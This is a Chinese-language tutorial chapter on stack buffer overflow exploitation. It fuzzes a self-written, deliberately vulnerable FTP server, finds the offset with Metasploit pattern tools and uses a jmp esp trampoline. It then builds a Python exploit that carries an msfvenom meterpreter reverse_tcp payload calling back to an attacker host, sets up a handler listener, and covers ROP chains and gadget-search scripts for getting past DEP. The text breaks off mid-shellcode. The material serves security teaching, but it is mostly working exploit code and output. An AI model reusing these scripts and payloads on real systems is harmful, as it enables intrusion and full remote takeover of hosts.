通常情況下堆疊溢位可能造成的后果有兩種,一類是本地提權另一類則是遠程執行任意命令,通常C/C++并沒有提供智能化檢查用戶輸入是否合法的功能,同時程式撰寫人員在撰寫代碼時也很難始終檢查堆疊是否會發生溢位,這就給惡意代碼的溢位提供了的條件,利用溢位攻擊者可以控制程式的執行流,從而控制程式的執行程序并實施惡意行為,本章內容筆者通過自行撰寫了一個基于網路的FTP服務器,并特意布置了特定的漏洞,通過本章的學習,讀者能夠掌握漏洞挖掘的具體流程,及利用方式,讓讀者能夠親自體會漏洞挖掘與利用的神奇魔法,
堆疊溢位是緩沖區溢位中最為常見的一種攻擊手法,其原理是,程式在運行時堆疊地址是由作業系統來負責維護的,在我們呼叫函式時,程式會將當前函式的下一條指令的地址壓入堆疊中,而函式執行完畢后,則會通過ret指令從堆疊地址中彈出壓入的回傳地址,并將回傳地址重新裝載到EIP指令指標暫存器中,從而繼續運行,然而將這種控制程式執行流程的地址保存到堆疊中,必然會給堆疊溢位攻擊帶來可行性,
5.2.1 溢位是如何產生的
通常情況下C語言中提供了一系列的標準函式,這些標準函式如果使用不當則會造成意想不到的后果,例如strcpy()
函式如果讀者在編程時沒有檢查用戶輸入資料有效性,則將會產生嚴重的溢位后果,如下提供一種簡單的具有漏洞的代碼片段,以幫助讀者理解漏洞的產生原因及利用技巧,首先讀者需要將代碼保存為overflow.c
檔案;
#include <stdio.h>
#include <string.h>
void geting(char *temp)
{
char name[10];
strcpy(name, temp);
printf("input name = %s \n", name);
printf("input size = %d \n", strlen(name));
}
int main(int argc,char *argv[])
{
geting(argv[1]);
return 0;
}
請自行打開VS編譯器中的開發人員命令提示,然后執行cl /Zi /GS- overflow.c
編譯并生成可執行檔案,引數中的/GS-
就是關閉當前的GS保護,
上述案例就是利用了strcpy()
函式的漏洞從而實作溢位的,程式運行后用戶從命令列傳入一個引數,該引數的大小是不固定的,傳入引數后由內部的geting()
函式接收,并通過strcpy()
函式將臨時資料賦值到name
變數中,最后將其列印出來,很明顯代碼中并沒有對用戶輸入的變數進行長度的限定,而正是因為如此從而導致緩沖區溢位漏洞的產生,
我們開始分析程式,由于overflow.exe
程式需要命令列傳參分析,所以讀者應該將overflow.exe
程式復制到x64dbg
除錯器目錄下,并在CMD中執行;
我們需要在命令列界面中來啟動除錯器,其中第一個引數overflow.exe
就是程式名,第二個引數是傳入的命令列引數,我們知道緩沖區長度是10
個字符,為了能夠讓程式產生溢位,此處輸入的資料必須要大于10
個位元組,這里我就輸入一串lysharkAAAAAAAAABBBB
字串,如下圖所示,當程式被運行時EDX暫存器
指向的則是我們自定義輸入的字串,由于要呼叫CALL
指令,此處的CALL
指令代表的是geting
函式,所以需要將EDX
字串壓堆疊存盤,而在進入geting
函式之前,CALL指令需要將自身下一條指令壓堆疊存盤,但此時由于我們輸入的資料大與堆疊地址所能容納的最大值,因此在壓堆疊時勢必會造成覆寫堆疊空間的情況產生;
接著我們繼續進入到geting
函式的內部,當該函式被執行時首先第一步則是在堆中取出字串并列印,而當函式呼叫到Ret
回傳時此時程式會在堆疊中取出回傳地址填充之EIP
指標中,但此時的早已被AAAA
所覆寫,
我們來看一下當前堆疊中的資料,可以看到在程式呼叫Ret時,EIP一定會被填充為一串毫無意義的42424242
的記憶體地址,而當這段連續的A被替換成ShellCode
的反彈地址時則此時將會發生可怕的事情,
至此我們還差一個關鍵的跳轉步驟,上圖中的424242
我們需要填充為一個能夠跳轉到當前堆疊中的跳轉指令地址,這類跳板指令可以使用jmp esp
或call esp
指令,因為我們的ShellCode
在堆疊中存盤著,為了能執行這段惡意代碼,我們需要將42424242
替換為具有Jmp ESP
功能的指令片段,來讓其能夠跳轉到堆疊中,
在x64dbg除錯器中此類指令集的搜索很容易實作,讀者可通過Ctrl+B
指令調出特征碼搜索功能來實作搜索,本例中我們搜索kernelbase.dll
模塊,并在其中尋找Jmp ESP
指令集,需要注意的是此類指令集的機器碼為FF E4
當然如果是Call ESP
則特征值為FF D4
如果有其它需求讀者可自行轉換,
為了實作搜索特征碼讀者需要切換到kernelbase.dll
模塊,通過在記憶體布局中點擊.text
節即可完成切換,當然如果其他模塊中存在此類特征也是可以使用的,選擇此模塊是因為此模塊中存在,
接著按下Ctrl+B
輸入FFE4
特征碼,實作搜索功能,如下圖所示,其中的三個地址都是可以被利用的跳板;
此時我們以0x7537829C
為例,為了模擬這個流程修改堆疊中的0x42424242
為0x7537829C
則當程式回傳時會自動跳轉到0x7537829C
地址處;
而0x7537829C
地址為Jmp ESP
指令,也就是指向了當前的記憶體堆疊地址;
當程式被執行此跳板時,則會跳轉到當前堆疊的記憶體區域,而如果此處是攻擊者構造好的一塊惡意ShellCode
代碼,則將會實作反彈后門的目的,并以此獲取主機的完全控制權;
至此一個簡單的緩沖區溢位漏洞就分析完畢了,經過分析可知,我們的ShellCode
惡意代碼應該這樣構建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode
這里的A代表的是正常輸入內容,其作用是正好不多不少的填充滿這個緩沖區
這里的B代表的是Jmp Esp
的機器指令,該處應該為0x7537829C
這里的N代表Nop
雪橇的填充,一般的20個Nop左右就好
這里的ShellCode
就是我們要執行的惡意代碼
由上面的關鍵點可以總結出最終的輸入方式,程式運行后會先跳轉到Jmp Esp
并執行該指令,然后Jmp Esp
會跳轉到Nop
雪橇的位置,此時程式的執行流會順著Nop
雪橇滑向ShellCode
惡意代碼,當惡意代碼被執行則攻擊者即可獲取到反彈權限,
- Ax16 + jmp esp + nopx20 + ShellCode
至此讀者可通過上述總結構建出如下所示的漏洞利用代碼片段,此時呼叫overflow.exe
則會實作反彈后門的功能,也就預示著攻擊成功了;
import os
os.system(b"overflow.exe
AAAAAAAAAAAAAAAA
\x75\x37\x82\x9c
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
)
5.2.2 漏洞分析與挖掘
在前面的簡單分析中詳細讀者已經能夠理解緩沖區溢位是如何產生又是如何利用的了,為了演示遠程堆疊溢位攻擊的具體手法以及二進制漏洞挖掘與利用的思路,這里筆者撰寫了FTPServer
遠程服務程式,該服務運行后會在本機開啟0.0.0.0:9999
埠,讀者可以通過netcat
工具遠程連接到服務器并可以執行一些基本的命令,
如上圖就是運行后的FTP服務器,通過netcat
工具鏈接服務端的地址nc 192.168.9.118 9999
可以得到一個FTP互動環境,此時可以執行send | hello world
命令,來向服務器發送一段字串,同時服務器會回傳給你Data received successfully
這樣的提示資訊,如下圖所示;
要執行漏洞挖掘第一步則是要從分析資料包開始,這里使用了WireShark
工具,Wireshark 是一款免費的網路分析軟體,它可以用于捕獲、分析和解釋網路通信資料,它可以讀取多種網路協議,包括TCP、UDP、HTTP、DNS
等,并將它們以圖形化的形式顯示出來,從而幫助用戶更直觀地理解網路流量,Wireshark還支持許多強大的分析功能,如協議分析、流量分析等,它是一個功能強大、易用的網路分析工具,
如果讀者使用了Kali
系統,則默認會安裝有該工具,請讀者打開Kali
選單欄,并找到嗅探/欺騙
選單并點擊WireShark
則可啟動該軟體;
當軟體被啟動后,讀者可通過點擊頁面中的eth0
網卡來實作監控資料包的功能,執行模糊測驗的第一步就是要確定發送資料包中包頭的格式,通過Wireshark工具監控TCP流,將源地址設定為本機的192.168.9.135
目標地址設定為192.168.9.118
,設定過濾陳述句,監控并從中得到資料傳輸的格式資訊,
- 過濾陳述句:
tcp.stream and ip.src_host==192.168.9.135 and ip.dst_host==192.168.9.118
此時讀者再次執行send | hello lyshark
并在此時會抓取到一些資料包,通過對資料包的分析與提取最終確定如下內容,內容中則包含了發送到服務端的具體資料格式,
上圖中我們可以直觀的看出,資料包的格式僅僅是send | hello lyshark
并沒有添加任何的特殊符號,更沒有加密傳輸,接下來就是要驗證對端是否存在緩沖區溢位了,這里我們需要撰寫一個模糊測驗腳本來對目標服務進行測驗,腳本內容如下,該腳本執行后會對目標FTP服務進行發包測驗,每次遞增1不斷嘗試,
具體來說,它使用socket
模塊創建一個TCP
套接字,然后連接到指定的IP
地址和埠號,發送一系列的緩沖區(payload)
并觀察程式的行為,如果程式崩潰或出現例外,則說明發現了漏洞,
下面是代碼的主要功能:
- initCount(count, Inc):該函式用于初始化緩沖區,回傳一個包含多個字串的串列,這些字串遞增地包含 A 字符,每個字串的長度遞增 count,直到長度超過 50 個字符,count 的初始值為 0,每次遞增量為 Inc,
- Fuzz(addr, port, buffer):該函式對指定的 IP 地址和埠號執行模糊測驗,它遍歷緩沖區中的所有字串,并嘗試連接到目標主機,發送字串并等待一段時間,如果發送的字串長度超過了目標應用程式能夠處理的最大長度,則函式會捕獲例外并提示,函式回傳 None,
# coding:utf-8
import socket,time
def initCount(count,Inc):
buffer = ["A"]
while len(buffer)<=50:
buffer.append("A" * count)
count = count + Inc
return buffer
def Fuzz(addr,port,buffer):
try:
for string in buffer:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect((addr,port))
sock.recv(1024)
command = b'send |/.:/' + string.encode()
sock.send(command)
sock.close()
time.sleep(1)
print('Fuzzing Pass with {} bytes'.format(len(string)))
except Exception:
print('\n This buffer cannot exceed the maximum {} bytes'.format(len(string)))
if __name__ == "__main__":
# initCount 10 說明從0開始遞增,每次遞增100
buff = initCount(0,100)
Fuzz("192.168.9.118",9999,buff)
上方的代碼的構造需要具體分析資料包的形式得到,在漏洞模糊測驗中上方代碼中間部分的互動需要根據不同程式的互動方式進行修改與調整,這里測驗腳本執行后當緩沖區填充為2100bytes
時程式崩潰了,說明該程式的send
函式確實存在緩沖區溢位漏洞,其次該程式緩沖區的大小應在2100-2200
位元組以內,
由于模糊測驗時程式發生了崩潰現象,我們可知該程式確實存在溢位漏洞,為了能讓讀者更加深入的理解緩沖區發生的原因和定位技巧,筆者將具體分析其匯編代碼的組織形式,這里為了方便演示我將在被攻擊主機進行逆向分析,
首先被攻擊主機打開x64dbg
將FTP程式載入并運行,接著我們按下Ctrl + G
在recv
函式上下一個斷點,因為程式接收用戶輸入的功能需要使用recv
函式的,所以這里我們直接下斷,然后運行程式,在客戶端發送資料send | hello lyshark
后會被斷下,由于我們將斷點下在了ws2_32.dll
模塊內,此時需要運行到該模塊回傳,并跳出該系統模塊,
直接回到程式領空,會看到如下圖所示的代碼片段,這里我們需要在0x0040148D
這個記憶體地址處下一個F2
斷點,然后取消系統領空中recv
上的斷點,
通過再次發送send | hello lyshark
程式會被斷下,我們單步向下跟進會發現下面的代碼片段,這里正是我們的send
函式所執行的區域,此處我們記下這個記憶體地址0x004017D5
觀察反匯編代碼可知,0x4017DB
位置處分配了記憶體長度為BB8
的區域,并直接呼叫memset
函式完成了記憶體填充,這里由于沒有嚴格的過濾檢查所以會產生緩沖區溢位問題;
為了能夠更加明確的確定此處產生問題的根源,我們還需要使用IDA這款靜態分析軟體,打開IDA Pro
加載程式并按下G鍵
,來到0x4017DB
記憶體地址處,如下圖所示;
并分析如下代碼片段,此處的溢位點為_Function3
函式的內部,在傳入引數時將分配的變數3000
個位元組的緩沖區,直接傳遞給了_Function3
函式,此處是犯下的第一個錯誤,當然如果開發者在_Function3
函式內部進行了補救這個錯誤也不會致命;
接著我們繼續跟進這個call _Function3
函式,會發現子程序內部并沒有對接識訓沖區大小進行嚴格的過濾,強制將3000byte
的資料拷貝到2024byte
的緩沖區中,此時緩沖區就會發生溢位,從而導致堆疊失衡程式崩潰,這和上方的模糊測驗腳本得到的結果是差不多的,至此唯的補救機會已經失去了;
為了能夠更加精確的計算出緩沖區的具體大小,我們還需使用Metasploit
中集成工具,該工具默認需要一起配合使用,其原理就是利用了隨機字串計算當前字串距離緩沖區首部的偏移,通過使用唯一字串法,我們可以快速定位到當前緩沖區的實際大小,要使用Metasploit
的工具需要先配置好環境變數,你可以先執行以下操作,然后再利用pattern_create.rb
生成長度為3000
位元組的字串,
┌──(lyshark?kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit
┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ bundle install
┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 3000
當讀者執行pattern_create.rb
生成模糊測驗字串時,接著讀者需要準備要一段可發送這段字串的Python程式,并將字串填充至buffer
變數內,構建出如下所示的代碼用例;
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字串填充到這里>'
sock.send(command + buffer)
sock.close()
當讀者填充好資料以后,遠程主機再次通過x64dbg
附加,并運行如上放所示的攻擊腳本,此時除錯器會產生一個例外,并且顯示當前EIP的位置為0x6F43376F
如下圖所示;
接著讀者可以通過使用Metasploit
中提供的第二個工具pattern_offset.rb
計算出當前緩沖區的實際大小是2002
接著就可以寫出漏洞利用的基礎框架,其中的EIP
是一個未知數,我們暫且先用BBBB
來填充,此時的BBBB
所對應的是42424242
┌──(lyshark?kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002
至此讀者可根據上述代碼案例寫出如下所示的Python代碼,其中command
為發送資料包所需要的特有格式,buffer
則填充為2002
位元組也就是正常緩沖區的長度,接下來則是EIP的位置,此處暫且使用BBBB
代替,最后是NOP雪橇的50個字符長度,
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'\x90' * 50
sock.send(command + buffer + eip + nops)
sock.close()
當我們再次執行這個溢位腳本時,對著會發現FTP服務器的EIP指標
已經被替換成了42424242
也就是替換為了BBBB
的機器碼格式;
而再看堆疊中的資料,此時也已經被90909090
就是Nop雪橇,以及我們精心構造的資料填充滿了;
這說明我們的預測與分析完全正確,此時針對該漏洞的分析作業就結束了;
5.2.3 尋找JMP跳板指令
在上面環節中我們已經確定了填充物的大小,但程式每次運行其堆疊地址都是隨機變化的,這是因為堆疊空間默認是由作業系統調度分配的每次分配都不會一致,在Windows漏洞利用程序中,由于程式的裝入和卸載都是動態分配的,所以Windows行程的函式堆疊幀可能產生移位
,即ShellCode
在記憶體中的地址是動態變化
的,因此需要Exploit(漏洞利用代碼)
在運行時動態定位堆疊中的ShellCode
地址,
此時我們需要尋找一個跳板,能夠動態的定位堆疊地址的位置,在這里我們使用jmp esp
作為跳板指標,其基本思路是,使用記憶體中任意一個jmp esp
地址覆寫回傳地址,函式回傳后被重定向去執行記憶體中jmp esp
指令,而ESP暫存器指向的地址正好是我們布置好的nop雪橇
的位置,此時EIP執行流就會順著nop雪橇滑向我們構建好的惡意代碼,從而觸發我們預先布置好的ShellCode代碼,
選擇利用模塊: 首先通過x64dbg除錯器附加FTP程式,然后選擇符號選單,這里可以看到該服務程式加載了非常多的外部DLL庫,我們可以隨意選擇一個元件跳轉過去,這里為了通用我就選擇 network.dll
這個模塊作為演示,模塊的選擇是隨機的,只要模塊內部存在 jmp esp
指令或者是能夠跳轉到nop雪橇位置的任何指令片段均可被利用,
搜索JMP跳板: 接著在除錯器的反匯編界面中,按下Ctrl + F
搜索該模塊中的jmp esp
指令,因為這個指令地址是固定的,我們就將EIP指標跳轉到這里,又因esp暫存器存盤著當前的堆疊地址,所以剛好跳轉到我們布置好的nop雪橇的位置上,如下圖我們就選擇 625011ED
這個代碼片段,
5.2.4 組合腳本并攻擊
至此針對本應用程式的漏洞挖掘與分析就分析完成了,既然所有條件都滿足了接下來就是生成漏洞利用代碼了,這里我們可以通過MSF提供的msfvenom
命令快速的生成一個32位的有效攻擊載荷,并將其與我們得到的記憶體地址進行組裝,需要注意的是此處指定的lhost
是攻擊主機的IP地址,此處指定的lport
需要開啟一個與9999埠不沖突的埠,并最后生成Python格式的攻擊載荷;
┌──(lyshark?kali)-[~]
└─$ msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.9.135 lport=8888 -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
[省略符]
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
如上所示,既然有了攻擊載荷,接下來則是將生成的ShellCode
與Python
攻擊腳本相結合,此時讀者需要注意host=192.168.9.118
指定的是被攻擊主機的IP地址,此處的command
代表的是默認發包是所遵循的發包格式,此處的buffer
代表正常的填充物,此處的EIP
則代表Jmp ESP
的實際跳轉地址,此處nops
是NOP雪橇,最后通過command + buffer + eip + nops + buf
將攻擊載荷進行組裝,即可寫出如下所示的完整攻擊代碼;
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 發送資料包頭
buffer = b'A' * 2002 # 實際緩沖區填充物
eip = b'\xED\x11\x50\x62' # 此處就是EIP跳轉地址地址應該反寫
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
sock.send(command + buffer + eip + nops + buf)
sock.close()
最后讀者使用Metasploit
框架的命令列界面來配置一個攻擊,該代碼使用了exploit/multi/handler
模塊,該模塊是Metasploit
框架中的一個通用攻擊模塊,用于監聽反向連接,代碼中set payload
命令來設定攻擊的有效載荷,本例中使用的是 windows/meterpreter/reverse_tcp
最后使用set
設定主機IP及PORT埠,最后執行exploit
命令啟動偵聽器,等待反彈;
┌──(lyshark?kali)-[~]
└─$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.9.135
msf exploit(multi/handler) > set lport 8888
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.9.135:8888
當一切準備就緒之后我們運行fuck.py
攻擊腳本,此時即可得到目標主機的完全控制權,當下目標主機已經淪為肉雞任人宰割,
上方筆者所演示的就是典型的基于記憶體的攻擊技術,該技術的優勢就是幾乎很難被發現,100%的利用成功率,記憶體攻擊技術就是利用了軟體的安全漏洞,該漏洞的產生表面上是開發人員沒有對緩沖區進行合理的檢測,但其根本原因是,現代計算機在實作圖靈模型時,沒有在記憶體中嚴格區分資料和指令,這就存在程式的外部輸入很有可能被當作指令來執行,當今任何作業系統都很難根除這種設計缺陷(圖靈機特性),只能在某種程度上通過引入特殊的技術(DEP保護機制)去阻止黑客的成功利用,
5.2.5 ROP繞過DEP保護
筆者前期提到過,緩沖區溢位的根本原因就是錯誤的將用戶輸入的惡意資料當作了指令來執行了從而導致發生溢位,因此微軟推出了基于軟體實作的DEP保護
機制,其原理就是強制將堆疊
屬性設定為NX
不可執行,而在后期AMD也首次推出了基于硬體實作的CPU處理器,從而很大程度上解決了這類溢位事件的發生,
而隨著DEP技術的出現,黑客們就研究出了另一種繞過的措施,就是本次所提到的ROP回傳導向
編程,在微軟系統中有這樣的一些函式他們的作用就是可以將堆疊設定為可讀可寫可執行屬性(VirtualProtect)
之所以會出現這些函式是因為,有些開發人員需要在堆疊中執行代碼,所以也不可能將這樣的功能徹底去掉,
既然無法直接執行堆疊上的代碼,但是代碼段依然是可以被執行的,我們可以經過呼叫末尾帶有RET
指令的微小片段,而他們會回傳到堆疊,并再次呼叫令一塊片段,以此類推,眾多的小片段就可以完成呼叫VirtualProoect
函式的功能,從而將當前堆疊設定為可執行,這樣堆疊中的代碼就可以被執行下去,
關于VirtualProoect
函式,該函式用于更改指定記憶體區域的保護屬性,函式的函式原型如下:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
該函式有四個引數:
- lpAddress:指向目標記憶體區域的指標,
- dwSize:要更改保護屬性的記憶體區域的大小,以位元組為單位,
- flNewProtect:請求的新保護屬性,
- lpflOldProtect:一個指向變數的指標,用于保存舊的保護屬性,
回傳值為 BOOL 型別,如果函式成功執行,則回傳非零值,否則回傳零,
需要注意的是:在構建ROP鏈
的時候,如果RET回傳
之前是一個影響堆疊的指令,那么我們就需要在ROP堆疊鏈
的下方手動填充一些墊片來中和掉POP
等指令對堆疊的影響,因為下一條指令也會從堆疊中取值,如果不中和掉這些無用代碼的影響則ROP鏈
將無法被正常執行,比如如下圖這條代碼POP ECX
影響了堆疊,如果不是我們所需要呼叫的引數,那么我們就在他的下面填充一些填充物來中和一下,
但讀者應該明白,這里所說的繞過DEP
保護其實并不完善,其實我們并無法繞過,而僅僅只是尋找沒有開啟DEP保護的模塊作為跳板使用,并依附于這些跳板指令構造出能夠呼叫VirtualProtect
函式的指令集,當該指令被呼叫,則自然DEP保護可以被關閉,在找到模塊之前,必須判斷哪些模塊可以被使用,這里讀者是否想到了LyScript
插件中的掃描功能,如下代碼將可以幫助讀者以最快的速度驗證當前行程中是否有我們所需模塊;
from LyScript32 import MyDebug
import pefile
if __name__ == "__main__":
# 初始化
dbg = MyDebug()
dbg.connect()
# 得到所有加載過的模塊
module_list = dbg.get_all_module()
for module_index in module_list:
# 依次讀入程式所載入的模塊
byte_array = bytearray()
for index in range(0, 4096):
read_byte = dbg.read_memory_byte(module_index.get("base") + index)
byte_array.append(read_byte)
oPE = pefile.PE(data=https://www.cnblogs.com/LyShark/archive/2023/07/12/byte_array)
# 資料不可執行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
if ((oPE.OPTIONAL_HEADER.DllCharacteristics & 256) != 256):
print("{:15}\t\t".format(module_index.get("name")), end="")
print("可利用\t\t\t",end="")
print()
dbg.close()
將FTPServer.exe
拖入除錯器內,并執行上方腳本,則可輸出當前沒有開啟DEP保護的模塊,例如代碼中我故意編譯進去了network.dll
模塊,該模塊就沒有開啟DEP保護,那么就可被利用;
接下來就是構建一條可以實作關閉DEP記憶體保護的匯編指令集,如下所示則是通過匯編語言呼叫virtualProtect
的ROP鏈;
ret
pop eax
0xfffffcdf
add ebp, eax
pop eax
0xfffffdff
neg eax
pop ebx
0xffffffff
inc ebx
add ebx, eax
pop edx
0xffffffc0
neg edx
pop ecx
&writetable
pop edi
ret (rop nop)
pop esi
jmp [eax]
pop eax
ptr to virtualProtect()
jmp esp
讀者可通過使用LyScript
插件實作對這些記憶體地址的列舉搜索,以搜索network.dll
模塊為例,讀者需要找到模塊開始地址0x62501000
以及模塊的結束地址0x62501fff - start_address
并通過呼叫get_disasm_code
反匯編代碼片段,通過SearchOpCode()
函式回圈搜索ROP指令片段,這段搜索代碼如下所示;
from LyScript32 import MyDebug
def SearchOpCode(OpCodeList,SearchCode,ReadByte):
SearchCount = len(SearchCode)
for item in range(0,ReadByte):
count = 0
OpCode_Dic = OpCodeList[ 0 + item : SearchCount + item ]
try:
for x in range(0,SearchCount):
if OpCode_Dic[x].get("opcode") == SearchCode[x]:
count = count + 1
if count == SearchCount:
return OpCode_Dic[0].get("addr")
except Exception:
pass
if __name__ == "__main__":
dbg = MyDebug()
connect_flag = dbg.connect()
# 得到檢索地址
start_address = 0x62501000
end_address = 0x62501fff - start_address
disasm_dict = dbg.get_disasm_code(start_address,end_address)
# 快速查找構建漏洞利用代碼
SearchCode = [
["ret"],
["pop eax","ret"],
["add ebp,eax","ret"],
["pop eax","ret"],
["neg eax","ret"],
["pop ebx","ret"],
["inc ebx","ret"],
["add ebx,eax", "ret"],
["pop edx", "ret"],
["neg edx", "ret"],
["pop ecx", "ret"],
["ret"],
["pop esi", "ret"],
["jmp [eax]", "ret"],
["pop eax", "ret"],
["jmp esp", "ret"],
]
# 檢索記憶體指令集
for item in range(0,len(SearchCode)):
Search = SearchCode[item]
ret = SearchOpCode(disasm_dict,Search,1000)
if ret != None:
print("指令集: {} --> 首次出現地址: {}".format(SearchCode[item],hex(ret)))
dbg.close()
運行上述插件則可掃描出當前network.dll
模塊內所有匹配的記憶體地址,并輸出如下圖所示的掃描結果;
接著再掃描一下msvcr71.dll
模塊內的ROP指令片段,并輸出如下圖所示的掃描結果;
需要注意的是,單純在這兩個模塊內搜索是無法構建出這段特殊指令集的,讀者可自行更換模塊對模塊批量尋找,此處只是為了演示LyScript
插件的使用細節;
筆者已經將ROP
鏈構建好了,當然手動構建并不是最好的選擇,除了使用LyScript
插件搜外,讀者也可以使用mona.py
插件自動化完成這個程序,mona.py
插件是專門用戶構建有效載荷的工具,其構建陳述句是!mona.py rop -m *.dll -cp nonull
這里我就不在羅嗦了,直接給出構建好的ROP指令片段吧;
# coding:utf-8
import socket
import struct
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 發送資料包頭
buffer = b'A' * 2002 # 實際緩沖區填充物
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
